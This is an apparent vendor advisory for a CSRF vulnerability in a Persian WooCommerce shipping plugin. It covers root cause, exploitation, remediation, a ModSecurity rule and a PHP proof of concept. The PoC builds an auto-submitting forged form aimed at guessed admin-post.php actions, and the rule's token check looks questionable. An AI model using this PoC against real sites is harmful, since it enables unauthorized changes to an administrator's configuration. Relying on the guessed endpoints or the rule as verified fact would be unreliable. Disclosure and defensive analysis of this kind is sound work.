Published : August 11, 2026

CVE-2026-65536: افزونه حمل و نقل ووکامرس | پست پیشتاز، تیپاکس و پیک موتوری <= 4.4.5 Cross-Site Request Forgery PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 4.4.5
Patched Version
Disclosed July 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65536 (metadata-based): This vulnerability is a Cross-Site Request Forgery (CSRF) flaw found in the افزونه حمل و نقل ووکامرس | پست پیشتاز، تیپاکس و پیک موتوری plugin (slug: persian-woocommerce-shipping) for WordPress, affecting versions up to and including 4.4.5. The CVSS score is 4.3 (medium), with a vector of AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N, which means an unauthenticated attacker can trick a site administrator into performing a state-changing action without their consent. The vulnerability resides in a function that lacks proper nonce validation, leaving it open to forged requests.

Root Cause: The root cause is the missing or incorrect nonce validation on a function within the plugin, which is confirmed by the CVE description and aligned with CWE-352 (Cross-Site Request Forgery). Atomic Edge analysis infers that the affected function is likely an admin-level handler, such as an Ajax callback, an admin-post action, or a settings form submission, which performs state-changing operations (e.g., updating options, saving shipping settings, or toggling plugin features). Since WordPress core already recommends adding a nonce check in every form and Ajax request that performs state changes, the absence or incorrect implementation allows attackers to forge requests that appear legitimate to the server. No code diff is available, so we cannot confirm the exact function name or parameters, but the plugin name and the typical purpose of such a shipping plugin strongly suggest the vulnerability affects shipping rate or configuration settings.

Exploitation: An attacker crafts a malicious link or HTML page containing a forged request to the vulnerable endpoint. The endpooint is likely either /wp-admin/admin-post.php or /wp-admin/admin-ajax.php, with an action parameter corresponding to the plugin’s internal handler (e.g., action=save_shipping_settings or action=update_shipping_options, guessed based on typical plugin implementation). Since there is no nonce validation, the forged request does not need to include a nonce. If the request is a POST, the attacker can auto-submit a form via JavaScript. If the vulnerable action accepts GET, a simple link can trigger the CSRF. The attack requires the victim to be logged in as an administrator and to click on the malicious link or visit a page with the auto-submitting form. The forged request would execute the state-changing function with the attacker’s chosen parameters, such as disabling a shipping method or changing business addresses.

Remediation: The fix requires adding proper CSRF protection to all state-changing functions. Specifically, the plugin should verify a valid nonce before processing any form submission or Ajax request. Developers should use functions like wp_nonce_field() (for forms), wp_create_nonce() (for URLs), and check_ajax_referer() or check_admin_referer() (for server-side verification). Additionally, they should enforce capability checks (e.g., current_user_can(‘manage_options’)) to ensure only authorized users can trigger such actions. The plugin should also follow WordPress coding standards by using admin-post.php for admin actions or registering Ajax actions with proper nonce checks. Since no patched version is available at the time of writing, administrators should temporarily disable the plugin or apply a virtual patch until a fix is released.

Impact: Successful exploitation allows an unauthenticated attacker to perform unauthorized actions on the WordPress site, but only if they can trick an administrator into submitting the forged request. The impact is limited to integrity loss (rated as low in the CVSS vector), meaning the attacker could alter shipping settings, disable shipping methods, or change configuration data. This could disrupt the site’s shipping functionality and lead to reduced trust or revenue loss, but it does not directly lead to privilege escalation or remote code execution. Combined with other weaknesses, such as missing capability checks, the impact could be more severe, but based on the CVE metadata, the direct impact is moderate.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-post.php" "id:20261954,phase:2,deny,status:403,chain,msg:'CVE-2026-65536 CSRF via admin-post.php',severity:'CRITICAL',tag:'CVE-2026-65536'"
SecRule ARGS_POST:action "@rx ^(persian_woocommerce_shipping_settings|shipment_settings|update_shipping_settings)$" "chain"
SecRule ARGS_POST:_token "@eq 0" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-65536 - افزونه حمل و نقل ووکامرس | پست پیشتاز، تیپاکس و پیک موتوری <= 4.4.5 - Cross-Site Request Forgery

// This PoC demonstrates a CSRF attack against the persian-woocommerce-shipping plugin.
// Since the exact vulnerable endpoint is not confirmed, this PoC targets the most likely
// admin-post.php action for the plugin, based on common WordPress plugin patterns.
// The attack relies on an authenticated administrator being tricked into visiting a crafted page.
// This script generates an HTML page that auto-submits a POST request to the vulnerable endpoint.

$target_url = 'http://example.com/wp-admin/admin-post.php'; // Set the target WordPress site URL
$action = 'persian_woocommerce_shipping_settings'; // Guessed action name, adjust if known

// Crafted POST parameters that might alter a plugin setting (e.g., disable a shipping method)
$payload = [
    'action' => $action,
    'disable_pishtaz' => '1', // Example parameter: disable one of the shipping methods
];

// Build the HTML page for the CSRF attack
$html = '<html><body>';
$html .= '<form id="csrfForm" method="POST" action="' . $target_url . '">';
foreach ($payload as $key => $value) {
    $html .= '<input type="hidden" name="' . htmlspecialchars($key) . '" value="' . htmlspecialchars($value) . '" />';
}
$html .= '</form>';
$html .= '<script>document.getElementById("csrfForm").submit();</script>';
$html .= '</body></html>';

// Save the HTML to a file or output it. The attacker would host this page and lure an admin to it.
file_put_contents('csrf_poc.html', $html);
echo "CSRF PoC page generated: csrf_poc.htmln";

// Alternatively, you can use cURL to simulate a direct forged POST request (if the victim is already authenticated,
// this request would carry the session cookie; in a real attack, the browser does this automatically).
// The following code is commented because CSRF normally requires the victim's session.
/*
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in=YOUR_SESSION_COOKIE');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
*/

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.